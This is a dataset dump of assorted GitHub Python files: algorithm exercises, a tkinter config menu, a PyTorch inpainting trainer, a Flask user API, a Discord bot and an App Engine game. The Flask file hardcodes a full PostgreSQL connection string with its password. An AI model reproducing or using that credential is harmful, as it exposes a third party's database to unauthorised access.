importlib.import_module(module_name)\n module.run()\n\n\nif __name__ == '__main__':\n loop = ioloop.IOLoop.instance()\n loop.run_sync(main)\n","repo_name":"asyncins/serverd","sub_path":"executors.py","file_name":"executors.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"20501858307","text":"import sys\nsys.stdin = open('input.txt', 'r')\n\nT = int(input())\nfor tc in range(1, T+1):\n arr = []\n P, Pa, Pb = list(map(int, input().split()))\n for num in range(1, P+1):\n arr.append(num)\n lis = [Pa, Pb]\n res = []\n for j in lis:\n cnt = 0\n left = 1\n right = P\n while left <= right:\n if P == 1 or P == 2:\n break\n c = int((left + right) / 2)\n cnt += 1\n if arr[c-1] == j:\n break\n elif arr[c-1] > j:\n right = c\n else:\n left = c\n res.append(cnt)\n if res[0] > res[1]:\n print(f'#{tc} B')\n elif res[0] < res[1]:\n print(f'#{tc} A')\n else:\n print(f'#{tc} 0')\n\n\n\n\n\n\n","repo_name":"Juaaang/pyc_algorithm","sub_path":"4839.py","file_name":"4839.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"22882935951","text":"import tkinter as tk\nimport proba.menu\n\n'''This module displays the configuration menu, where users can choose weights for the different exercises.'''\n\nTITLE_FONT = ('Verdana', 14)\nSUBTITLE_FONT = ('Verdana', 12)\n\n\nclass Config(tk.Frame):\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n\n frame_label = tk.Label(self, text=\"Configuration des poids des exercices :\", font=TITLE_FONT)\n frame_label.pack()\n\n self.exercises_weight_label = tk.Label(self, text='Poids entre l\\'exercice 1 et 2 : ', font=SUBTITLE_FONT)\n self.exercises_weight_label.pack()\n\n self.ex1_weight_label = tk.Label(self, text='Poids ex 1 : ')\n self.ex1_weight_label.pack()\n self.weight1_value = tk.IntVar()\n self.weight1_value.set(self.controller.shared_data[\"weight_ex1\"])\n self.ex1_weight_entry = tk.Entry(self, text=self.weight1_value)\n self.ex1_weight_entry.pack()\n\n self.ex2_weight_label = tk.Label(self, text='Poids ex 2 : ')\n self.ex2_weight_label.pack()\n self.weight2_value = tk.IntVar()\n self.weight2_value.set(self.controller.shared_data[\"weight_ex1\"])\n self.ex2_weight_entry = tk.Entry(self, text=self.weight2_value)\n self.ex2_weight_entry.pack()\n\n # 3 types of exercise 2\n\n self.ex2_weight1_value = tk.IntVar()\n self.ex2_weight1_value.set(self.controller.shared_data[\"ex2_weight1\"])\n\n self.ex2_weight2_value = tk.IntVar()\n self.ex2_weight2_value.set(self.controller.shared_data[\"ex2_weight2\"])\n\n self.ex2_weight3_value = tk.IntVar()\n self.ex2_weight3_value.set(self.controller.shared_data[\"ex2_weight3\"])\n\n self.exercises_weight_label = tk.Label(self, text='Poids des types d\\'intégrales de l\\'ex 2 : ',\n font=SUBTITLE_FONT)\n self.exercises_weight_label.pack()\n\n self.ex2_weight1_label = tk.Label(self, text='Poids des fonctions puissance :')\n self.ex2_weight1_label.pack()\n self.ex2_weight1_entry = tk.Entry(self, text=self.ex2_weight1_value)\n self.ex2_weight1_entry.pack()\n\n self.ex2_weight2_label = tk.Label(self, text='Poids des fonctions trigonométriques :')\n self.ex2_weight2_label.pack()\n self.ex2_weight2_entry = tk.Entry(self, text=self.ex2_weight2_value)\n self.ex2_weight2_entry.pack()\n\n self.ex2_weight3_label = tk.Label(self, text='Poids des fonctions logarithmiques :')\n self.ex2_weight3_label.pack()\n self.ex2_weight3_entry = tk.Entry(self, text=self.ex2_weight3_value)\n self.ex2_weight3_entry.pack()\n\n self.validate_button = tk.Button(self, text='Valider', command=self.validate)\n self.validate_button.pack()\n\n def validate(self):\n\n try:\n\n if not (int(self.ex1_weight_entry.get()) == 0) or not (int(self.ex2_weight_entry.get()) == 0):\n\n entry_vars = [int(self.ex1_weight_entry.get()), int(self.ex2_weight_entry.get())]\n\n self.controller.shared_data[\"weight_ex1\"], self.controller.shared_data[\"weight_ex2\"] = \\\n self.generate_ratio(entry_vars)\n\n entry_vars = [int(self.ex2_weight1_entry.get()),\n int(self.ex2_weight2_entry.get()),\n int(self.ex2_weight3_entry.get())]\n\n self.controller.shared_data[\"ex2_weight1\"], self.controller.shared_data[\"ex2_weight2\"], \\\n self.controller.shared_data[\"ex2_weight3\"] = self.generate_ratio(entry_vars)\n self.controller.show_frame(proba.menu.Menu)\n\n except ValueError:\n pass\n\n def generate_ratio(self, weights: list):\n\n weight_sum = sum(weights)\n\n for i in range(0, len(weights)):\n weights[i] = round((weights[i] / weight_sum) * 100)\n pass\n\n return weights\n","repo_name":"maxime-bc/projet_proba_python","sub_path":"src/proba/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"33933733015","text":"from torchvision.datasets import CIFAR10\nfrom torchvision.utils import save_image\nimport torch\nimport os\nimport sys\nimport torchvision\nfrom torchvision.transforms import ToTensor\nfrom helper import LoadImageFromFolder, AverageMeter\nfrom torch.utils.data.dataloader import DataLoader\nfrom Model_PartialConv.partialconvNN import ImageinpaintingPConvNN\nfrom Model_CNN import InpaintingCNN\n\n# For utilities\nimport time\nimport numpy as np\nimport torch.nn as nn\n\nbest_losses_partialConv = float(\"inf\")\nbest_losses_vanillaCNN = float(\"inf\")\nuse_gpu = torch.cuda.is_available()\n\n\ndef train(train_loader, model, criterion, optimizer, epoch, model_type):\n print('Starting training epoch {}'.format(epoch))\n model.train()\n\n batch_time, losses = AverageMeter(), AverageMeter()\n\n for i, (X_masked, Mask, Y_unmasked) in enumerate(train_loader):\n X_masked = X_masked.permute(0, 3, 2, 1)\n Mask = Mask.permute(0, 3, 2, 1)\n Y_unmasked = Y_unmasked.permute(0, 3, 2, 1)\n\n if use_gpu:\n X_masked, Mask, Y_unmasked = X_masked.cuda(), Mask.cuda(), Y_unmasked.cuda()\n\n X_masked = X_masked.float()\n Mask = Mask.float()\n Y_unmasked = Y_unmasked.float()\n\n if model_type == 'PartialConv':\n output = model((X_masked, Mask))\n else:\n output = model(X_masked)\n\n loss = criterion(output, Y_unmasked)\n losses.update(loss.item(), X_masked.size(0))\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n # Print model accuracy -- in the code below, val refers to value, not validation\n if i % 20 == 0:\n print(model_type + ' Epoch: [{0}][{1}/{2}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'.format(\n epoch, i, len(train_loader), batch_time=batch_time, loss=losses))\n\n print('Finished training epoch {}'.format(epoch))\n\n\ndef validation(valid_loader, model, criterion, epoch, model_type):\n model.eval()\n # Prepare value counters and timers\n batch_time, losses = AverageMeter(), AverageMeter()\n\n end = time.time()\n\n for i, (X_masked, Mask, Y_unmasked) in enumerate(valid_loader):\n X_masked = X_masked.permute(0, 3, 2, 1)\n Mask = Mask.permute(0, 3, 2, 1)\n Y_unmasked = Y_unmasked.permute(0, 3, 2, 1)\n\n if use_gpu:\n X_masked, Mask, Y_unmasked = X_masked.cuda(), Mask.cuda(), Y_unmasked.cuda()\n\n X_masked = X_masked.float()\n Mask = Mask.float()\n Y_unmasked = Y_unmasked.float()\n\n if model_type == 'PartialConv':\n output = model((X_masked, Mask))\n else:\n output = model(X_masked)\n\n loss = criterion(output, Y_unmasked)\n losses.update(loss.item(), X_masked.size(0))\n\n # Record time to do forward passes and save images\n batch_time.update(time.time() - end)\n end = time.time()\n\n # Print model accuracy -- in the code below, val refers to both value and validation\n if i % 10 == 0:\n print(model_type + 'Validate: [{0}][{1}/{2}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'.format(epoch,\n i, len(valid_loader), batch_time=batch_time,\n loss=losses))\n\n print('Finished validation.')\n return losses.avg\n\n\ndef test(test_loader, model, criterion, model_type):\n model.eval()\n # Prepare value counters and timers\n batch_time, losses = AverageMeter(), AverageMeter()\n\n end = time.time()\n c = 0\n for i, (X_masked, Mask, Y_unmasked) in enumerate(test_loader):\n X_masked = X_masked.permute(0, 3, 2, 1)\n Mask = Mask.permute(0, 3, 2, 1)\n Y_unmasked = Y_unmasked.permute(0, 3, 2, 1)\n\n if use_gpu:\n X_masked, Mask, Y_unmasked = X_masked.cuda(), Mask.cuda(), Y_unmasked.cuda()\n\n X_masked = X_masked.float()\n Mask = Mask.float()\n Y_unmasked = Y_unmasked.float()\n\n if model_type == 'PartialConv':\n output = model((X_masked, Mask))\n else:\n output = model(X_masked)\n\n loss = criterion(output, Y_unmasked)\n losses.update(loss.item(), X_masked.size(0))\n\n # Save images to file\n\n for j in range(10):\n img1 = output[j]\n img2 = X_masked[j]\n\n save_name = 'img-{}.jpg'.format(c)\n if model_type == 'PartialConv':\n save_image(img1, \"PredictedOutput_PartialConv/\" + save_name)\n else:\n save_image(img1, \"PredictedOutput_VanillaCNN/\" + save_name)\n\n save_image(img2, \"InputImage/\" + save_name)\n c += 1\n # Record time to do forward passes and save images\n batch_time.update(time.time() - end)\n end = time.time()\n\n # Print model accuracy -- in the code below, val refers to both value and validation\n if i % 10 == 9:\n print(model_type + ' Testing: [{0}/{1}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'.format(\n i, len(test_loader), batch_time=batch_time, loss=losses))\n\n print('Finished testing.')\n\n\ndef main(load_pretrained):\n os.makedirs(\"InputImage\", exist_ok=True)\n os.makedirs(\"PredictedOutput_PartialConv\", exist_ok=True)\n os.makedirs(\"PredictedOutput_VanillaCNN\", exist_ok=True)\n\n global best_losses_partialConv, best_losses_vanillaCNN\n\n train_data = CIFAR10(root='data/', download=True, transform=ToTensor())\n test_data = CIFAR10(root='data/', train=False, download=True, transform=ToTensor())\n\n num_train = len(train_data)\n indices = list(range(num_train))\n split = int(np.floor(0.1 * num_train))\n train_idx, valid_idx = indices[split:], indices[:split]\n\n train_sampler = torch.utils.data.RandomSampler(train_idx)\n valid_sampler = torch.utils.data.RandomSampler(valid_idx)\n\n dataset_train = LoadImageFromFolder(train_data.data)\n dataset_test = LoadImageFromFolder(test_data.data)\n\n train_loader = torch.utils.data.DataLoader(dataset=dataset_train, batch_size=128, sampler=train_sampler)\n valid_loader = torch.utils.data.DataLoader(dataset=dataset_train, batch_size=128, sampler=valid_sampler)\n test_loader = torch.utils.data.DataLoader(dataset=dataset_test, shuffle=False, batch_size=128)\n\n modelPartialConv = ImageinpaintingPConvNN()\n modelVanillaCNN = InpaintingCNN()\n\n criterion = nn.MSELoss()\n if use_gpu:\n modelPartialConv = modelPartialConv.cuda()\n modelVanillaCNN = modelVanillaCNN.cuda()\n criterion = criterion.cuda()\n print('Loaded model onto GPU.')\n\n optimizer = torch.optim.Adam(modelPartialConv.parameters(), lr=1e-2, weight_decay=0.0)\n epochs = 100\n best_modelPartialConv = modelPartialConv\n best_modelVanillaCNN = modelVanillaCNN\n\n if not load_pretrained:\n os.makedirs(\"Checkpoints\", exist_ok=True)\n for epoch in range(epochs):\n # Train for one epoch\n train(train_loader, modelPartialConv, criterion, optimizer, epoch, 'PartialConv')\n train(train_loader, modelVanillaCNN, criterion, optimizer, epoch, 'VanillaCNN')\n\n with torch.no_grad():\n lossesPartialConv = validation(valid_loader, modelPartialConv, criterion, epoch, 'PartialConv')\n lossesVanillaCNN = validation(valid_loader, modelVanillaCNN, criterion, epoch, 'VanillaCNN')\n\n if lossesPartialConv < best_losses_partialConv:\n best_losses_partialConv = lossesPartialConv\n best_modelPartialConv = modelPartialConv\n torch.save(best_modelPartialConv.state_dict(),\n 'Checkpoints/' + 'PartialCovModel_Of_Epoch-{}'.format(epoch))\n\n if lossesVanillaCNN < best_losses_vanillaCNN:\n best_losses_vanillaCNN = lossesVanillaCNN\n best_modelVanillaCNN = modelVanillaCNN\n torch.save(best_modelVanillaCNN.state_dict(),\n 'Checkpoints/' + 'VanillaCNNModel_Of_Epoch-{}'.format(epoch))\n\n print('Completed Execution - Partial Convolution. Best loss: ', best_losses_partialConv)\n print('Completed Execution - VanillaCNN. Best loss: ', best_losses_vanillaCNN)\n\n else:\n best_modelPartialConv.load_state_dict(\n torch.load('Checkpoints/model-partialConv', map_location=torch.device('cpu')))\n best_modelVanillaCNN.load_state_dict(\n torch.load('Checkpoints/model-VanillaCNN', map_location=torch.device('cpu')))\n\n test(test_loader, best_modelPartialConv, criterion, 'PartialConv')\n test(test_loader, best_modelVanillaCNN, criterion, 'VanillaCNN')\n\n\nif __name__ == '__main__':\n val = sys.argv[1]\n load_pretrained = True if int(val) == 1 else False\n print('Load PreTrained Model : ', load_pretrained)\n main(load_pretrained)\n","repo_name":"RishabLokray95/Inpaining_CNN","sub_path":"Image Inpainting Partial Convolutions/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"26740678524","text":"from flask import Flask, jsonify, request\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_apscheduler import APScheduler\nfrom marshmallow import Schema, fields\nimport random\nimport datetime\n\n\napp = Flask(__name__)\nscheduler = APScheduler()\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://data_xesl_user:ihaN2ocXoqa5frgpSSPitqaPENLVW8eu@dpg-ch9qpb2k728hts45jpjg-a.frankfurt-postgres.render.com/data_xesl'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy()\ndb.init_app(app)\n\n\nclass User(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String, nullable=False, unique=True)\n photo_url = db.Column(db.String, nullable=False)\n fing_seq = db.Column(db.String, nullable=False)\n\n def __repr__(self):\n return self.name\n\n @classmethod\n def get_all(cls):\n return cls.query.all()\n \n @classmethod\n def get_by_id(cls, id):\n return cls.query.get_or_404(id)\n \n def save(self):\n db.session.add(self)\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n\nclass UserSchema(Schema):\n id = fields.Integer() \n name = fields.String()\n photo_url = fields.String()\n fing_seq = fields.String()\n\n\n\n\nclass Log(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n person = db.Column(db.String, nullable=False)\n added_at = db.Column(db.DateTime, default=datetime.datetime.utcnow)\n\n def __repr__(self):\n return self.name\n\n @classmethod\n def get_all(cls):\n return cls.query.all()\n \n @classmethod\n def get_by_id(cls, id):\n return cls.query.get_or_404(id)\n \n def save(self):\n db.session.add(self)\n db.session.commit()\n\n\nclass LogSchema(Schema):\n id = fields.Integer() \n person = fields.String()\n added_at = fields.DateTime(format='%Y-%m-%dT%H:%M:%S+02:00')\n\n\n@app.route('/')\ndef hello():\n return \"ssssss\"\n\n@app.route('/api/users', methods=['GET'])\ndef get_all_users():\n users = User.get_all()\n\n serializer = UserSchema(many=True)\n\n data = serializer.dump(users)\n\n return jsonify(\n data\n )\n\n@app.route('/api/users', methods=['POST'])\ndef create_a_user():\n s = ''\n for i in range(5):\n s += str(random.randint(1, 5))\n data = request.get_json()\n new_user = User(\n name=data.get('name'),\n photo_url=data.get('photo_url'),\n fing_seq=s\n )\n\n new_user.save()\n\n serializer = UserSchema()\n\n data = serializer.dump(new_user)\n\n return jsonify(\n data\n ), 201\n\n@app.route('/api/user/<int:id>', methods=['GET'])\ndef get_user(id):\n user = User.get_by_id(id)\n\n serializer = UserSchema()\n\n data = serializer.dump(user)\n\n return jsonify(\n data\n ), 200\n\n@app.route('/api/user/<int:id>', methods=['PUT'])\ndef update_user(id):\n user_to_update = User.get_by_id(id)\n\n data = request.get_json()\n\n user_to_update.name = data.get('name')\n user_to_update.photo_url = data.get('photo_url')\n\n db.session.commit()\n\n serializer = UserSchema()\n\n user_data = serializer.dump(user_to_update)\n\n return jsonify(\n user_data\n ), 200\n\n\n\n@app.route('/api/user/<int:id>', methods=['DELETE'])\ndef delete_user(id):\n user_to_delete = User.get_by_id(id)\n\n user_to_delete.delete()\n\n return jsonify({\"message\": \"Deleted\"}), 204\n\n\n@app.route('/api/logs', methods=['GET'])\ndef get_logs():\n logs = Log.get_all()\n\n serializer = LogSchema(many=True)\n\n data = serializer.dump(logs)\n\n return jsonify(\n data\n )\n\n@app.route('/api/logs', methods=['POST'])\ndef add_log():\n data = request.get_json()\n new_log = Log(\n person=data.get('person')\n )\n\n new_log.save()\n\n serializer = LogSchema()\n\n data = serializer.dump(new_log)\n\n return jsonify(\n data\n ), 201\n\n\n\ndef updatovac():\n with app.app_context():\n users = User.get_all()\n for user in users:\n seq = ''\n for i in range(5):\n seq += str(random.randint(1, 5))\n\n user.fing_seq = seq\n\n db.session.commit()\n \nscheduler.add_job(id = 'Scheduled Task', func=updatovac, trigger=\"interval\", seconds=600)\nscheduler.start()","repo_name":"miskomjartusko/pajtondeteksn","sub_path":"API2/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"40665450072","text":"class Solution:\n def largestAltitude(self, gain: List[int]) -> int:\n maxHeight = 0\n size = len(gain)\n tempGain = 0\n for i in range(0,size):\n tempGain = tempGain+gain[i]\n maxHeight = max(maxHeight,tempGain)\n \n return maxHeight","repo_name":"Shakileash5/leetCode","sub_path":"find-the-highest-altitude/find-the-highest-altitude.py","file_name":"find-the-highest-altitude.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"16861104762","text":"import discord\nimport config\nimport logging\nfrom discord.ext import commands\n\n# client = discord.Client()\nintents = discord.Intents(guilds=True, members=True, messages=True)\nbot = commands.Bot(command_prefix='$', intents=intents)\nlogging.basicConfig(level=logging.INFO)\n\n@bot.event\nasync def on_ready():\n print(f\"We are logged in as {bot.user}\")\n\n@bot.command()\nasync def hello(ctx):\n await ctx.send(\"Hello\")\n\n@bot.command()\nasync def echo(ctx, args):\n await ctx.send(args)\n\n@bot.command()\nasync def kick(ctx, args):\n server = ctx.guild\n user = bot.get_user(int(args))\n await server.kick(user)\n\nbot.run(config.BOT_TOKEN)\n","repo_name":"FRC5549Robotics/2021-Lessons","sub_path":"lessons/week10/discord-bot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"73037747739","text":"\"\"\" Script to launch low probability level threshold\n experiments as described in the experimental design \n\"\"\"\nfrom pathlib import Path\nimport numpy as np\nimport pandas as pd\nimport os\nfrom itertools import product\nimport argparse\nfrom stat_reliability_measure.dev.utils import str2list,str2floatList,get_sel_df\n\n\n\nclass config:\n p_range=[1e-2,1e-4,1e-6,1e-8,1e-10]\n n_rep=300\n np_seed=0\n torch_seed=0\n methods_list=['MC','MLS_SMC','H_SMC','MALA_SMC','RW_SMC']\n params_dic={'MC': {'N_range':[int(1e5),int(1e6)],'b_range':[int(1e5)]},\n\n 'MLS_SMC': {'N_range':[int(1e2),int(1e3)],'ratio_range':[0.1,0.5,0.9],\n 'T_range':[1,10,100],},\n 'H_SMC':{'N_range':[int(1e2),int(1e3)],'e_range':[0.1,0.5,0.9],\n 'T_range':[1,10,100], 'L_range':[10]},\n 'MALA_SMC':{'N_range':[int(1e2),int(1e3)],'e_range':[0.1,0.5,0.9],\n 'T_range':[1,10,100],},\n 'RW_SMC':{'N_range':[int(1e2),int(1e3)],'e_range':[0.1,0.5,0.9],\n 'T_range':[1,10,100],},\n }\n log_dir='./logs/exp_1_low_probs'\n verbose=0\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--n_rep',type=int,default=config.n_rep)\nparser.add_argument('--torch_seed',type=int,default=config.torch_seed)\nparser.add_argument('--np_seed',type=int,default=config.np_seed)\nparser.add_argument('--p_range',type=str2floatList,default=config.p_range)\nparser.add_argument('--verbose',type=float,default=config.verbose)\nparser.add_argument('--methods_list',type=str2list,default=config.methods_list)\nargs=parser.parse_args()\nfor k,v in vars(args).items():\n setattr(config, k, v)\n\ndef get_completion_rate(n_rep:int=config.n_rep, p_range:list=config.p_range,\n params_dic:dict=config.params_dic, log_dir:str=config.log_dir):\n \"\"\"compute experiments completion rate and prints to stdout\n\n Args:\n p_range: list of failure probility levels\n n_rep: number of repetitions considered\n params_dic (dict): list of parameters dictionnaries\n log_dir (str): string of log directory\n \"\"\"\n count_tot =0 \n count_compl= 0\n aggr_res_path=os.path.join(log_dir,'aggr_res.csv')\n if not os.path.exists(aggr_res_path):\n return 0\n aggr_res_df = pd.read_csv(aggr_res_path)\n for method,params in params_dic.items():\n params_keys=list(params.keys())\n \n params_values=list(params.values())\n params_keys.append('p_t')\n params_values.append(p_range)\n range_dict={'N_range':'N','T_range':'T','p_range':'p_t','ratio_range':'ratio',\n 'b_range':'batch_size','e_range':'ess_alpha','L_range':'L'}\n # removing the '_range' from parameters keys\n params_keys = [range_dict[key] if 'range' in key else key for key in params_keys]\n product_params=product(*params_values)\n for params_vals in product_params:\n count_tot+=1\n same_exp_df = get_sel_df(df=aggr_res_df,cols=params_keys, vals=params_vals, \n triplets=[('method',method,'=='),('n_rep',n_rep,'==')]) \n # if a similar experiment has been done in the current log directory we skip it\n if len(same_exp_df)>0:\n count_compl+=1\n\n print(f\"Total exp: {count_tot}\")\n print(f\"Completed exp: {count_compl}\")\n return count_compl/count_tot\n \n\n\ndef main():\n if not os.path.exists(config.log_dir):\n os.mkdir(config.log_dir)\n aggr_res_path=os.path.join(config.log_dir,'aggr_res.csv')\n if not os.path.exists(aggr_res_path):\n print(f\"Completion rate: 0%\")\n cols=['p_t','method','N','rho','n_rep','T','alpha','min_rate','mean_time','std_time','mean_est','s',\n 'bias','mean abs error','batch_size','mean_rel_error','std_est','freq underest','gpu_name','cpu_name','ratio',\n 'ess_alpha','L']\n aggr_res_df= pd.DataFrame(columns=cols)\n aggr_res_df.to_csv(aggr_res_path,index=False)\n else:\n compl_rate=get_completion_rate()\n print(f\"Completion rate: {compl_rate*100:.1f}%\")\n for method in config.methods_list:\n \n if method=='MC':\n import exp_1.exp_1_MC as exp\n elif method=='MLS_SMC':\n import exp_1.exp_1_MLS as exp\n elif method=='H_SMC':\n import exp_1.exp_1_H_SMC as exp\n elif method.lower() in ('rw_smc','rw'):\n import exp_1.exp_1_RW as exp\n elif method.lower() in ('mala_smc','mala'):\n import exp_1.exp_1_MALA as exp\n # elif method=='FORM':\n # import exp_1.exp_1_FORM as exp_1_FORM\n else:\n raise NotImplementedError(f\"Method {method} is not implemented yet.\")\n for key,value in config.params_dic[method].items():\n setattr(exp.config, key, value)\n exp.config.n_rep=config.n_rep\n \n exp.config.p_range=config.p_range\n \n exp.config.verbose=config.verbose\n exp.config.log_dir = config.log_dir\n exp.config.repeat_exp=False\n exp.config.update_aggr_res=True\n exp.config.track_cpu=True\n exp.config.track_gpu=True\n exp.main()\n del exp\n # for key,value in config.params_dic['FORM'].items:\n # setattr(exp_1_FORM.config, key, value)\n # exp_1_MC.main()\n # del exp_1_MC \n print(f\"Experiments for method {method} completed.\")\n compl_rate=get_completion_rate()\n print(f\"Overall completion rate: {compl_rate*100:.1f}%\")\n\nif __name__ == '__main__':\n main()\n","repo_name":"karimtito/stat_reliability_measure","sub_path":"exp_1_high_to_low_prob.py","file_name":"exp_1_high_to_low_prob.py","file_ext":"py","file_size_in_byte":5598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"74414644699","text":"import hashlib\nimport logging\nimport os\nimport urllib\nimport urlparse\n\nfrom google.appengine.api import users, taskqueue\nfrom google.appengine.ext import webapp, db\nfrom google.appengine.ext.webapp import util, template\n\nfrom models import *\nfrom util import *\n \nclass GuessMyKillerHandler(webapp.RequestHandler):\n @util.login_required\n def get(self):\n me = users.get_current_user()\n assassin = get_assassin_for_userid(me.user_id())\n if not assassin.alive:\n logging.warn(\"Assassin tried to guess their killer after they were killed\")\n return\n\n q = db.GqlQuery(\"SELECT * FROM Assassin WHERE alive = :1\", True)\n results = q.fetch(100)\n\n path = os.path.join(os.path.dirname(__file__), 'templates/guess.html')\n self.response.out.write(template.render(path, dict(assassins=results)))\n\n def post(self):\n user = users.get_current_user()\n assassin_id = self.request.get(\"assassin\")\n assassin = get_assassin_for_userid(assassin_id)\n if assassin.target == user.userid():\n #huzzah, the user guessed their assassin\n path = os.path.join(os.path.dirname(__file__), 'templates/correct_guess.html')\n self.response.out.write(template.render(path, dict(assassins=results)))\n \nclass DefaultHandler(webapp.RequestHandler):\n @util.login_required\n def get(self):\n me = users.get_current_user()\n logging.warn(\"UserID is %s\" % me.email())\n q = db.GqlQuery(\"SELECT * FROM Assassin WHERE id = :1\", me.user_id())\n results = q.fetch(1)\n logging.warn(\"I found %d people on main page\" % len(results))\n logout_url = users.create_logout_url(\"/\")\n if results:\n #user already exists, just say you've already signed up\n path = os.path.join(os.path.dirname(__file__), 'templates/existing.html')\n self.response.out.write(template.render(path, dict(logout_url=logout_url)))\n\n else:\n path = os.path.join(os.path.dirname(__file__), 'templates/signup.html')\n self.response.out.write(template.render(path, dict(logout_url=logout_url, \n name=me.nickname())))\n\nclass CreateHandler(webapp.RequestHandler):\n# @util.login_required\n def post(self):\n me = users.get_current_user()\n q = db.GqlQuery(\"SELECT * FROM Assassin WHERE id = :1\", me.user_id())\n results = q.fetch(1)\n if not results: #avoid adding duplicate rows to the DB\n location = self.request.get(\"location\")\n assassin = Assassin(location=location, id=me.user_id())\n assassin.put()\n\n qrcode_url = get_gchart_url(me.user_id(), self.request.url)\n path = os.path.join(os.path.dirname(__file__), 'templates/create.html')\n self.response.out.write(template.render(path, dict(name=me.nickname(), qrcode_url=qrcode_url)))\n\nclass MainHandler(webapp.RequestHandler):\n @util.login_required\n def get(self, userid, digest):\n if not verify_digest(userid, digest):\n self.error(403)\n return\n\n me = users.get_current_user()\n if me.user_id() == userid:\n #yourself, just go ahead and say something kitschy\n path = os.path.join(os.path.dirname(__file__), 'templates/init.html')\n self.response.out.write(template.render(path, dict(user=me)))\n else:\n #me just killed userid. Enqueue a task item so we can notify them\n #find your Assassin object\n q = db.GqlQuery(\"SELECT * FROM Assassin WHERE id = :1\", me.user_id())\n results = q.fetch(1)\n assassin = results[0]\n\n if not assassin.alive:\n logging.warn(\"A dead guy tried to play :(\")\n return\n\n #ensure that you've hit the right person\n if assassin.target.user_id() != userid:\n path = os.path.join(os.path.dirname(__file__), 'templates/wrong.html')\n args = dict(name=me.nickname(), target_name=assassin.user.nickname())\n self.response.out.write(template.render(path, args))\n return\n\n #find the other person userinfo\n q = db.GqlQuery(\"SELECT * FROM Assassin WHERE id = :1\", userid)\n results = q.fetch(1)\n if len(results) != 1:\n logging.warn(\"No such user found ... how did that happen?\")\n else:\n target=results[0]\n path = os.path.join(os.path.dirname(__file__), 'templates/kill.html')\n args = dict(name=me.nickname(), target_name=target.user.nickname())\n self.response.out.write(template.render(path, args))\n\n num_alive = num_alive_assassins()\n if num_alive> 5:#give them a chance to save themselves\n queue = Queue()\n task = Task(method=\"POST\", countdown=60, url=\"/tasks/notify\",\n params=dict(assassin=me.user_id(),\n target=target.id))\n queue.add(task)\n else: #instant kill\n assassin.kill(target)\n\nclass GenerateQRCode(webapp.RequestHandler):\n @util.login_required\n def get(self):\n user = users.get_current_user()\n userid = user.user_id()\n\n qrcode_url = get_gchart_url(userid, self.request.url)\n self.redirect(qrcode_url)\n\ndef main():\n routes = [('/user/(.*)/(.*)', MainHandler),\n ('/create', CreateHandler),\n ('/qrcode', GenerateQRCode),\n ('/guess', GuessMyKillerHandler),\n ('/', DefaultHandler)]\n\n application = webapp.WSGIApplication(routes,\n debug=True)\n util.run_wsgi_app(application)\n\nif __name__ == '__main__':\n main()\n","repo_name":"lukatmyshu/qrassassin","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5907,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"1140115304","text":"from __future__ import print_function\nfrom __future__ import division\nfrom __future__ import absolute_import\n\nimport json\n\nfrom oslo_db import exception as oslo_db_exc\nimport sqlalchemy as sa\nfrom sqlalchemy.orm import exc as db_exc\n\nfrom congress.db import api as db\nfrom congress.db import model_base\nfrom congress.db import utils as db_utils\n\n\nclass LibraryPolicy(model_base.BASE, model_base.HasId):\n __tablename__ = 'library_policies'\n\n name = sa.Column(sa.String(255), nullable=False, unique=True)\n abbreviation = sa.Column(sa.String(5), nullable=False)\n description = sa.Column(sa.Text(), nullable=False)\n kind = sa.Column(sa.Text(), nullable=False)\n rules = sa.Column(sa.Text(), nullable=False)\n\n def to_dict(self, include_rules=True, json_rules=False):\n \"\"\"From a given library policy, return a policy dict.\n\n :param: include_rules (bool, optional): include policy rules in return\n dictionary. Defaults to False.\n \"\"\"\n if not include_rules:\n d = {'id': self.id,\n 'name': self.name,\n 'abbreviation': self.abbreviation,\n 'description': self.description,\n 'kind': self.kind}\n else:\n d = {'id': self.id,\n 'name': self.name,\n 'abbreviation': self.abbreviation,\n 'description': self.description,\n 'kind': self.kind,\n 'rules': (self.rules if json_rules\n else json.loads(self.rules))}\n return d\n\n\n@db_utils.retry_on_db_error\ndef add_policy(policy_dict, session=None):\n session = session or db.get_session()\n try:\n with session.begin(subtransactions=True):\n new_row = LibraryPolicy(\n name=policy_dict['name'],\n 